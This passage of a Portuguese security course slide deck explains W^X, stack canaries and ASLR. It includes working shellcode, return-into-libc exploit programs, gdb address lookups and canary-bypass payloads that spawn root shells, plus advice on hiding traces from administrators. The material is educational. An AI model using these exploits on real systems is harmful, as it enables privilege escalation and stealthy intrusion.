possível redirecionar o ponteiro de instruções para o
payload.
Mecanismos de verificação dinâmica da integridade da
stack.
Randomização da memória do programa, de modo que
endereços não possam ser “adivinhados” com facilidade.
175.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
176.
WorX
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Técnica utilizada para impedir que áreas de dados de um
programa possam ser executadas.
Nenhuma área com permissão de escrita (stack, heap,
.data, .bss) deve ter permissão de execução.
Isso impede que o fluxo de execução de um programa
seja redirecionado para um payload injetado.
177.
WorX
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Nada impede o desenvolvedor de mapear uma área de
memória WR.
Alguns programas precisam executar código gerado
dinamicamente.
178.
WorX
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1xb0x0bxcdx80";
void func(){
char buffer[16];
strcpy(buffer, "AAAABBBBCCCCDDD");
*((long*)(buffer+20)) = (long)shellcode;
printf("%sn", buffer);
}
int main(){
func();
printf("fimn");
}
Return-into-libc
Burlando a proteção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Redirecionar o fluxo para código próprio do programa
ou para bibliotecas carregadas por ele.
Libc é “linkada” em todos os programas em sistemas
Linux e carregada sempre no mesmo endereço base. Basta
que o fluxo seja redirecionado para uma função da
biblioteca.
Chamando system(“/bin/sh”) um shell é retornado para
o atacante.
182.
Return-into-libc
A arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
vetor de injeção
0xdefaced... 0xdefaced system 0xdefaced ptr “/bin/sh”
função vulnerável
buffer explorado EBP anterior retaddr ... ...
esp ebp crescimento da
system stack
variáveis locais EBP anterior retaddr arg1
183.
Return-into-libc
Redirecionando para system
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func(){ int main(){
int *ptr; func();
}
ptr = (int*)&ptr;
ptr++;
ptr++;
*ptr = (int)system;
ptr++;
ptr++;
*ptr = (int)"/bin/sh";
}
[rafael@centos worx]$ ./return_into_libc_ex1
$ exit
Segmentation fault
[rafael@centos worx]$
184.
Return-into-libc
Redirecionando para system
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O endereço de retorno é sobrescrito com o endereço de
system.
A posição de memória que do ponto de vista do registro
de ativação (frame de pilha) da função system seria o
endereço de retorno é deixada de lado e um ponteiro para
“/bin/sh” é colocado na posição seguinte. Esse ponteiro
será o arg1 da função.
185.
Return-into-libc
Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
vetor de injeção
0xdefaced... 0xdefaced system exit ptr “/bin/sh” 0xffffffff
função vulnerável
buffer explorado EBP anterior retaddr ... ... ...
esp ebp crescimento da
system stack
variáveis locais EBP anterior retaddr arg1
exit
variáveis locais EBP anterior retaddr arg1
186.
Return-into-libc
Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func(){ int main(){
int *ptr; func();
}
ptr = (int*)&ptr;
ptr++;
ptr++;
*ptr = (int)system;
ptr++;
*ptr = (int)exit;
ptr++;
*ptr = (int)"/bin/sh";
ptr++;
*ptr = 0x1;
}
[rafael@centos worx]$ ./return_into_libc_ex2
$ exit
[rafael@centos worx]$
187.
Return-into-libc
Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Um atacante deve eliminar todos os seus rastros de
modo a não chamar a atenção do administrador do
sistema.
Para não causar uma falha de segmentação, a posição
que system considera como endereço de retorno é
sobrescrita com o endereço de exit, e o valor após o
ponteiro para “/bin/sh” recebe o valor -1 (argumento para
exit).
188.
Return-into-libc
Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){
char buffer[256];
strcpy(buffer, str);
printf("%sn", buffer);
}
int main(int argc, char *argv[]){
if(argc != 2){
printf("uso: %s <param>n", argv[0]);
return 1;
}
func(argv[1]);
printf("fimn");
}
189.
Return-into-libc
Planejando o ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Descobrindo o endereço de system e exit.
[rafael@centos worx]$ gdb ./return_into_libc_ex3
GNU gdb Fedora (6.8-27.el5)
Copyright (C) 2008 Free Software Foundation, Inc.
This GDB was configured as "x86_64-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x8048460
(gdb) r
Starting program: minicurso/exemplos/worx/return_into_libc_ex3
Breakpoint 1, 0x08048460 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eafa90 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xbfea4ce0 <exit>
(gdb)
190.
Return-into-libc
O exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define SYSTEM 0xb7eafa90
#define SARG "////////////////////////////////////////////////////bin/sh"
#define ESP 0xbffff3a4 + 37
#define EXIT 0xb7ea4ce0
#define EARG 0xffffffff
int main(int argc, char **argv){
FILE *badfile;
long *ptr;
unsigned int sargaddr;
int n, i, j, pos;
char buffer[352];
if(argc != 3){
fprintf(stderr, "uso: %s <ret> <conf>n", argv[0]);
return 1;
}
sargaddr = ESP + atoi(argv[1]);
pos = atoi(argv[2]);
if(pos < 1 || pos > 4)
pos = 1;
191.
Return-into-libc
O exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
memset(&buffer, 'A', 352);
ptr = (long*)buffer;
n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4;
n = n/4;
for(i = 0, j = pos - 1; i <= n; i++){
ptr[j++] = SYSTEM;
ptr[j++] = EXIT;
ptr[j++] = sargaddr;
ptr[j++] = EARG;
}
strcpy(&buffer[351] - strlen(SARG), SARG);
badfile = fopen("./badfile_ex31.bin", "w");
fwrite(buffer, 1, 352, badfile);
fclose(badfile);
}
192.
Return-into-libc
Calculando o endereço do buffer
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Considerando que o buffer vulnerável tem 256 bytes,
e a posição de SARG dentro do vetor é 293, conclui-
se que SARG se encontra próximo ao endereço:
SARG = esp + (293-256) ± offset
Onde offset é o deslocamento da pilha, que depende
de características próprias do programa.
[rafael@centos exemplos]$ ./get_esp
ESP: 0xbffff504
[rafael@centos exemplos]$
193.
Return-into-libc
O ataque falha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O offset deve ser multiplo de 4 (dword), já que a
pilha segue um alinhamento de 4 bytes.
[rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2
[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `
AAAA�����L��-������������L
��-������������L��-������������L��-����������
��L��-������������L��-������������L��-��������
����L��-������������L��-������������L��-������
������L��-������������L��-������������L��-����
��������L��-������������L��-������������L��-��
����������L��-������������L��-��������/////////////////////////
///////////////////////////bin/sh
sh: cannot open �������: No such file
sh: ���P��: not found
[rafael@centos worx]$
194.
Return-into-libc
Recalculando o endereço do buffer
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como o vetor de injeção é passado através de
argumento da linha de comando, o valor da pilha se
altera porque argv[1] é armazenado na mesma.
[rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin `
ESP: 0xbffff3a4
[rafael@centos worx]$
Return-into-libc
O bash
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Na maioria dos sistema atuais /bin/sh é um link
simbólico para /bin/bash.
[rafael@centos worx]# cp /bin/sh /bin/sh.back
[rafael@centos worx]# rm /bin/sh
[rafael@centos worx]# ln -s /bin/bash /bin/sh
[rafael@centos worx]#
Return-into-libc
O bash
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O bash possui um mecanismo de proteção. Retorna um
shell de acordo com o uid e não com o euid.
O euid do programa vulnerável é 0 (root) porém o uid
é 500 (rafael).
Basta então setarmos o uid para 0, através de
setuid(0). Isso é possível pois o processo está rodando
com permissão de root.
200.
Return-into-libc
Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
vetor de injeção
0xdefaced... setuid system ? ptr “/bin/sh” 0xffffffff
função vulnerável
buffer retaddr ... ... ... ...
setuid
variáveis locais EBP anterior retaddr arg1
system
variáveis locais EBP anterior retaddr arg1
exit
variáveis locais EBP anterior retaddr arg1
201.
Return-into-libc
Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Mas como chamar setuid(), system() e exit()?
É impossível! O argumento para setuid coincidiria com
o endereço de exit.
202.
Return-into-libc
Código de epílogo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O código de epílogo nos programas modernos é formado
por duas instruções: leave e ret.
A primeira retoma o frame de pilha da função
chamadora.
A segunda retorna o fluxo do programa para a instrução
seguinte à que chamou a função atual.
; instruções executadas por leave
mov esp, ebp
pop ebp
; instrução executada por ret
pop eip
203.
Return-into-libc
Endereço de leave e ret
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Posições de memória onde há uma instrução leave.
[rafael@centos worx]$ objdump -S return_into_libc_ex3 | grep leave
804830e: c9 leave
8048421: c9 leave
8048450: c9 leave
8048576: c9 leave
[rafael@centos worx]$
204.
Return-into-libc
Falsificando frames
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
função vulnerável buffer vetor de injeção
EBP anterior ebp 1
retaddr setuid ebp setuid
... 0x08048450
; área de texto
... 0x00
; código do programa
... ebp 2
0x08048450 <func+44>: leave ... system ebp system
0x08048451 <func+45>: ret ... 0x08048450
... ptr “/bin/sh”
... ebp 3
... exit ebp exit
... 0x08048450
... 0xffffffff
205.
Return-into-libc
Falsificando frames
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
A função vulnerável vai copiar o valor em ebp 1 para o
ebp, em seguida vai retornar para setuid.
O código de prólogo então vai criar um frame da função
e vai sobrescrever o endereço de setuid com o endereço
do ebp 2. Ao terminar o ebp 2 será restaurado e a função
retorna para 0x08048450.
leave vai copiar o valor de ebp 2 para ebp e então
retorna para system.
206.
Return-into-libc
Limitação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Se a função vulnerável (caso em questão) trabalhar
com manipulação de strings, não se pode injetar um
0x00 (NULL), pois isso terminaria a operação com a
string e não seria possível injetar mais nenhum byte no
buffer.
207.
Return-into-libc
Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
vetor de injeção
buffer
função vulnerável ebp 1
EBP anterior printf ebp printf
retaddr 0x08048450
... ptr “%n”
...
... ebp 2
; área de texto
; código do programa ... setuid ebp setuid
... 0x08048450
0x08048450 <func+44>: leave ... 0xffffffff
... ebp 3
0x08048451 <func+45>: ret ebp system
... system
... 0x08048450
... ptr “/bin/sh”
... ebp 4
... exit ebp exit
... 0x08048450
... 0xffffffff
208.
Return-into-libc
Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Um frame para printf é criado para poder alterar um
endereço de memória através da tag de formato %n.
Basta passar como argumento de %n o endereço do
argumento para setuid, o qual será sobrescrito com
0x00000000.
209.
Return-into-libc
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Para executar esse ataque é necessária a injeção de uma
string de formato (“%n”) e de um shell (“/bin/sh”),
que precisam ser armazenados em endereços
conhecidos.
É preciso conhecer o endereço do buffer na memória,
para poder falsificar os frames de pilha.
210.
Return-into-libc
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Para esse caso, pode-se injetar as strings em variáveis
de ambiente.
A técnica abaixo é usada para aumentar a chance de
acerto.
[rafael@centos exemplos]$ export SH=///////////////////////////////////////////////////////////////////////////////////////
///////////////bin/sh
[rafael@centos exemplo]$ export STR=%n
[rafael@centos exemplo]$ export STR=$STR`perl -e 'print “%08p”x100'`
[rafael@centos exemplo]$ ./get_env SH
O endereço de SH é 0xbffffd56
[rafael@centos exemplos]$ ./get_env STR
O endereço de STR é 0xbffffaa1
211.
Return-into-libc
Código do exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
#define PRINTF 0xb7ebfc10
#define SETUID 0xb7f13c60
#define SYSTEM 0xb7eafa90
#define EXIT 0xb7ea4ce0
#define LEAVERET 0x08048450
#define PARGADDR 0xbffffaa1 - 34
#define SUIDARG 0xffffffff
#define SARGADDR 0xbffffd56
#define EARG 0xffffffff
#define ESP 0xbffff1a4 +20
int main(int argc, char **argv){
FILE *badfile;
long *ptr;
unsigned int bufaddr;
char buffer[336];
Return-into-libc
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O valor de esp tem que ser calculado considerando o
vetor de injeção em argv[1].
[rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin `
ESP: 0xbffff1a4
[rafael@centos exemplos]$
O endereço de ebp 2 é calculado:
es p + (276-256) ± offs et
216.
Return-into-libc
Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Usa-se a saída de printf e a de system para localizar
exatamente o endereço de SH e STR. Tentativas
também são feitas para descobrir o offset.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
219.
Stack Protector
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Consiste no posicionamento de um valor (canary) na
stack, de modo que quando ocorrer um overflow esse
valor seja alterado.
No retorno da função esse valor é comparado ao valor
original, e caso seja diferente o programa termina.
220.
Stack Protector
Código de partida
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
char *func1(char *args[], int *len){
char *ptrstr;
int i;
char buf[256];
strcpy(buf, args[0]);
i = 1;
while(args[i] != NULL){
strcat(buf, " ");
strcat(buf, args[i]);
i++;
}
*len = strlen(buf);
ptrstr = (char*)malloc((*len) + 1);
if(ptrstr == NULL){
perror("func1");
exit(1);
}
strcpy(ptrstr, buf);
return ptrstr;
}
221.
Stack Protector
Código de partida
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
int func(char *args[]){
unsigned int len;
char *str;
str = func1(args, &len);
printf("Argumentos concatenados possuem %u bytes:n", len);
printf("%sn", str);
}
int main(int argc, char *argv[]){
if(argc < 2){
fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>n", argv[0]);
return 1;
}
func(&argv[1]);
}
222.
Stack Protector
Retaddr protegido
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O canary é colocado entre o ebp salvo e o endereço de
retorno.
Com esse método, o endereço de retorno fica
protegido.
[rafael@centos stack protector]$ gcc -c stack_protector_ex2.s
[rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o
[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'`
stack overflow detectado
Saindo...
[rafael@centos stack protector]$
223.
Stack Protector
Retaddr protegido
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
func1:
; prólogo
pushl $0xaabbccdd
pushl %ebp buf
movl %esp, %ebp
edi é salvo na
pushl %edi ptrstr
pilha porque é
subl $292, %esp
usado na função. i
; epílogo edi salvo
addl $292, %esp
popl %edi ebp salvo
popl %ebp $0xaabbccdd
popl %ebx
xor $0xaabbccdd, %ebx retaddr
je .stack_ok args
call stack_check_fail
.stack_ok: len
ret
224.
Stack Protector
Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Variáveis locais do tipo ponteiro ainda podem ser
sobrescritas, de modo que se possa ler ou gravar em
qualquer lugar na memória.
Com isso, pode-se sobrescrever a GOT, dtors, e
ponteiros de função.
[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'`
Argumentos concatenados possuem 160575496 bytes:
0� (3ÿ��
Segmentation fault
[rafael@centos stack protector]$
225.
Stack Protector
Reordenamento de variáveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Variáveis locais são reordenadas a fim de que buffers
fiquem em posições mais altas de memória,
impossibilitando que ocorra overflow de outras
variáveis.
[rafael@centos stack protector]$ gcc -c stack_protector_ex3.s
[rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o
[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'`
stack overflow detectado
saindo...
[rafael@centos stack protector]$
226.
Stack Protector
Reordenamento de variáveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
; strcpy(buf, args[0]
movl 12(%ebp), %eax ptrstr
movl (%eax), %eax i
movl %eax, 4(%esp)
leal -260(%ebp), %eax
movl %eax, (%esp) buf
call strcpy
edi salvo
;i=1
ebp salvo
movl $1, -264(%ebp)
$0xaabbccdd
; if(ptrstr == NULL)
cmpl $0, -268(%ebp) retaddr
args
len
227.
Stack Protector
Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Argumentos do tipo ponteiro não são protegidos, o que
gera um brecha para ataques.
[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'`
Segmentation fault
[rafael@centos stack protector]$
228.
Stack Protector
Cópia de argumentos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Argumentos da função são copiados para o topo da
pilha, assim, se os originais forem sobrescritos, o
programa não será afetado, pois utiliza uma cópia
segura dos mesmos.
[rafael@centos stack protector]$ gcc -c stack_protector_ex4.s
[rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o
[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'`
stack overflow detectado
saindo...
[rafael@centos stack protector]$
229.
Stack Protector
Cópia de argumentos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
; copiando argumentos ; malloc((*len)+1) len
subl $300, %esp movl -276(%ebp), %eax args
movl 12(%ebp), %eax movl (%eax), %eax
movl %eax, -272(%ebp) ptrstr
addl $1, %eax
movl 16(%ebp), %eax movl %eax, (%esp) i
movl %eax, -276(%ebp) call malloc
buf
; strcpy(buf, args[0])
movl -272(%ebp), %eax
edi salvo
movl (%eax), %eax
movl %eax, 4(%esp) ebp salvo
leal -260(%ebp), %eax $0xaabbccdd
movl %eax, (%esp)
call strcpy retaddr
args
len
230.
Stack Protector
Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O ebp salvo ainda pode ser sobrescrito possibilitando a
falsificação do frame de pilha da função chamadora, de
modo que as variáveis e argumentos da mesma possam
ser controladas.
Não é necessário ganhar o controle de um ponteiro,
qualquer variável pode ser usada, basta setarmos o ebp
para o endereço da GOT.
[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'`
Argumentos concatenados possuem 1094795585 bytes:
Segmentation fault
[rafael@centos stack protector]$
231.
Stack Protector
Protegendo o frame de pilha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
O canary é colocado entre as variáeis locais e o ebp
salvo de modo a detectar qualquer alteração em seu
valor.
[rafael@centos stack protector]$ gcc -c stack_protector_ex5.s
[rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o
[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'`
stack overflow detectado
saindo...
[rafael@centos stack protector]$
232.
Stack Protector
Protegendo o frame de pilha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
len
; prólogo ; epílogo
movl -8(%ebp), %ebx args
func1:
pushl %ebp xor $0xaabbccdd, %ebx ptrstr
movl %esp, %ebp je .stack_ok i
pushl %edi call stack_check_fail
subl $304, %esp .stack_ok:
movl 8(%ebp), %eax addl $304, %esp buf
movl %eax, -276(%ebp) popl %edi
movl 12(%ebp), %eax popl %ebp $0xaabbccdd
movl %eax, -280(%ebp) ret edi salvo
movl $0xaabbccdd, -8(%ebp)
ebp salvo
retaddr
args
len
233.
Stack Protector
Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Como o canary é um valor conhecido, pode-se passar
um vetor de injeção fazendo com que o valor do
canary fique intacto.
Com isso, o teste de validação da integridade da stack
não vai detectar o overflow, e o payload, pode então,
ganhar o controle do eip.
[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “xddxccxbbxaa” .
“A”x8' `
Illegal instruction
[rafael@centos stack protector]$
234.
Stack Protector
Estado da arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Estudos desenvolvidos em torno das técnicas de ataque
levaram à criação de um mecanismo difícil de ser
contornado.
Conta com proteção do endereço de retorno, proteção
das variáveis locais, proteção dos argumentos, e
proteção do ebp salvo.
O canary é randomizado de modo que não seja
facilmente predizível.
235.
Stack Protector
Estado da arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){
char buf[8]; int main(int argc, char *argv[]){
int a, b;
char buf2[8]; if(argc != 2){
long c; fprintf(stderr, "uso %s <param>n"
, argv[0]);
printf("str = %pn", &str); return 1;
printf("buf = %pn", buf); }
printf("a = %pn", &a);
printf("b = %pn", &b); func(argv[1]);
printf("buf2 = %pn", buf2);
printf("c = %pn", &c); printf("fimn");
}
strcpy(buf, str);
}
236.
Stack Protector
Proteção desabilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c
[rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDD
str = 0xbfffe7f0
buf = 0xbfffe7e0
a = 0xbfffe7dc
b = 0xbfffe7d8
buf2 = 0xbfffe7d0
c = 0xbfffe7cc
Segmentation fault
[rafael@centos stack protector]$
237.
Stack Protector
Proteção habilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex
6.c
[rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDD
str = 0xbfffe7c4
buf = 0xbfffe7dc
a = 0xbfffe7d0
b = 0xbfffe7cc
buf2 = 0xbfffe7d4
c = 0xbfffe7c8
*** stack smashing detected ***: ./stack_protector_ex62 terminated
Aborted
[rafael@centos stack protector]$
238.
Stack Protector
A proteção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
stack protector ativado
Valor é comparado ao original no retorno da função e
; prólogo
push %ebp
movcaso sejam diferentes ostack protectoré detectado e o str
%esp,%ebp overflow desativado
sub programa termina.
$0x38,%esp c
mov 0x8(%ebp),%eax c b
mov %eax,-0x24(%ebp) a
mov %gs:0x14,%eax buf2
mov %eax,-0x4(%ebp)
buf2
b
;epílogo
a buf
mov -0x4(%ebp),%eax
xor %gs:0x14,%eax buf
je 0x8048530 <func+172> canary
call 0x804838c <__stack_chk_fail@plt> ebp ebp
leave retaddr retaddr
ret str str
239.
Stack Protector
Problema
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Atrapalha no desempenho do programa.
Proteção aplicada somente à arrays de char.
Array de char deve possuir no mínimo 8 bytes para
que a proteção seja aplicada.
Array de char deve possuir no mínimo 8 bytes para
que seja reordenado.
Variáveis de structs não são reordenadas.
240.
Stack Protector
Arrays de não-chars
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){ printf("b = %pn", &b);
int buf[8]; printf("buf2 = %pn", buf2);
int a, b; printf("c = %pn", &c);
int buf2[8]; }
long c;
int main(int argc, char *argv[]){
printf("str = %pn", &str); func(argv[1]);
printf("buf = %pn", buf); printf("fimn");
printf("a = %pn", &a); }
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c
[rafael@centos stack protector]$ ./stack_protector_ex7
str = 0xbfffe810
buf = 0xbfffe7dc
a = 0xbfffe804
b = 0xbfffe800
buf2 = 0xbfffe7bc
c = 0xbfffe7fc
fim
[rafael@centos stack protector]$
241.
Stack Protector
Arrays de não-chars
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
buf2
; prólogo
push %ebp
buf
mov %esp,%ebp
sub $0x58,%esp
c
;epílogo b
leave a
ret
ebp
retaddr
str
242.
Stack Protector
Arrays com menos de 8 elementos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){ printf("b = %pn", &b);
char buf[7]; printf("buf2 = %pn", buf2);
int a, b; printf("c = %pn", &c);
char buf2[7]; }
long c;
int main(int argc, char *argv[]){
printf("str = %pn", &str); func(argv[1]);
printf("buf = %pn", buf); printf("fimn");
printf("a = %pn", &a); }
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c
[rafael@centos stack protector]$ ./stack_protector_ex8
str = 0xbfffe810
buf = 0xbfffe7f5
a = 0xbfffe804
b = 0xbfffe800
buf2 = 0xbfffe7ee
c = 0xbfffe7fc
fim
[rafael@centos stack protector]$
243.
Stack Protector
Arrays com menos de 8 elementos
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
buf2
; prólogo
push %ebp
buf
mov %esp,%ebp
sub $0x28,%esp
c
;epílogo b
leave a
ret
ebp
retaddr
str
244.
Stack Protector
Não reodenamento de arrays
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
void func(char *str){ printf("b = %pn", &b);
char buf[7]; printf("buf2 = %pn", buf2);
int a, b; printf("c = %pn", &c);
char buf2[8]; }
long c;
int main(int argc, char *argv[]){
printf("str = %pn", &str); func(argv[1]);
printf("buf = %pn", buf); printf("fimn");
printf("a = %pn", &a); }
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c
[rafael@centos stack protector]$ ./stack_protector_ex9
str = 0xbfffe7e4
buf = 0xbfffe7e9
a = 0xbfffe7f8
b = 0xbfffe7f4
buf2 = 0xbfffe7fc
c = 0xbfffe7f0
fim
[rafael@centos stack protector]$
245.
Stack Protector
Não reodenamento de arrays
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
; prólogo
push %ebp str
mov %esp,%ebp
sub $0x38,%esp buf
mov 0x8(%ebp),%eax
mov %eax,-x24(%ebp) c
mov %gs:0x14,%eax b
mov %eax,-0x4(%ebp)
a
;epílogo
mov -0x4(%ebp),%eax buf2
xor %gs:0x14,%eax
je 0x804849e <func+154> canary
call 0x804830c<__stack_chk_fail@plt> ebp
leave retaddr
ret
str
246.
Stack Protector
Não reodenamento de variáveis em structs
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
struct struc{ printf("buf = %pn", buf);
char buf[20]; printf("a = %pn", &a);
int a; printf("s.buf = %pn", &s.buf);
}; printf("s.a = %pn", &s.a);
printf("c = %pn", &c);
void func(char *str){ }
char buf[4];
int a; int main(int argc, char *argv[]){
struct struc s; func(argv[1]);
long c; printf("fimn");
printf("str = %pn", &str); }
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c
[rafael@centos stack protector]$ ./stack_protector_exA
str = 0xbfffe7d4
buf = 0xbfffe7e8
a = 0xbfffe7e4
s.buf = 0xbfffe7ec
s.a = 0xbfffe800
c = 0xbfffe7e0
fim
[rafael@centos stack protector]$
247.
Stack Protector
Não reodenamento de variáveis em structs
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
;prólogo
push %ebp str
mov %esp,%ebp c
sub $0x48,%esp
a
mov 0x8(%ebp),%eax
mov %eax,-x34(%ebp)
mov %gs:0x14,%eax buf
mov %eax,-0x4(%ebp)
s.buf
;epílogo
mov -0x4(%ebp),%eax s.a
xor %gs:0x14,%eax
je 0x80484a1 <func+157> canary
call 0x804830c<__stack_chk_fail@plt> ebp
leave retaddr
ret
str
248.
Agenda
(In)Segurança de Software,Quebrando Códigos - Rafael Rosa
Falhas de Software
Princípios de Segurança de Software
Introdução à Overflow de Memória
Stack Overflow
Heap Overflow
Integer Overflow
Format String Bug
Técnicas Modernas
WorX
Stack Protector
ASLR
249.
ASLR
Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Address Space Layout Randomization. Permite o
mapeamento de blocos do programa para regiões
aleatórias de memória, a fim de que os endereços base
dos blocos não sejam predizíveis.
O endereço de cada bloco é calculado separadamente,
de tal forma que o endereço de cada um não tenha
nenhuma relação com os outros.
Os blocos são três: área executável, área mapeada, e
área da stack.
ASLR
Área executável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Apenas 16 bits são randomizados, do bit 12 ao bit 27
do endereço.
252.
ASLR
Área mapeada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
16 bits são randomizados, do bit 12 ao bit 27 do
endereço.
Após obtido o endereço base da heap, um offset é
gerado randomicamente, marcando o início da mesma
e mantendo um alinhamento de 64k.
253.
ASLR
Área da stack
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
16 bits são randomizados, do bit 4 ao bit 27 do
endereço.
Após obtido o endereço base da stack, um offset é
gerado randomicamente para marcar o início da
mesma.
254.
ASLR
/proc
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Sem o conhecimento dos endereços de memória do
programa, para onde retornar?
O ASLR dificulta a execução de um ataque, porém
para um ataque local: /proc/<pid>/maps ou
/proc/<pid>/stat.
255.
ASLR
Força bruta
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Chamada à fork mantém o mapa de memória do
programa intacto.
Em um servidor que bifurca para tratar cada conexão, é
possível implementar ataques de força bruta. Caso o
payload não ganhe o eip e o programa quebre, o
processo pai continua rodando e uma nova conexão
pode ser iniciada.
256.
ASLR
Áreas de memória não randomizadas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
A randomização não precisa ser feita em todas as áreas
de memória. Pode haver setores não randomizados.
Pode-se utilizar código da .text ou de bibliotecas
compartilhadas para ganhar o controle do eip.
Caso um ponteiro para o payload seja conhecido, pode-
